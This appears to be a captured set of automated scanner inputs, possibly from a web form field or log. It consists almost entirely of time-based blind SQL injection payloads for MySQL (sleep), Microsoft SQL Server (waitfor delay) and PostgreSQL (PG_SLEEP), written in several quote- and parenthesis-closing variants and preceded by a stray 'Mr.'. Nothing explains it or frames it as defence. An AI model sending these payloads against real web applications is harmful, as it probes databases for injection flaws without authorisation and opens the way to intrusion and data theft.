Mr.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

-1)); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

qP61kaD0'; waitfor delay '0:0:15' --

qvQ5oJkn'); waitfor delay '0:0:15' --

Qr54EaL9')); waitfor delay '0:0:15' --

-5 OR 503=(SELECT 503 FROM PG_SLEEP(15))--

-5) OR 608=(SELECT 608 FROM PG_SLEEP(15))--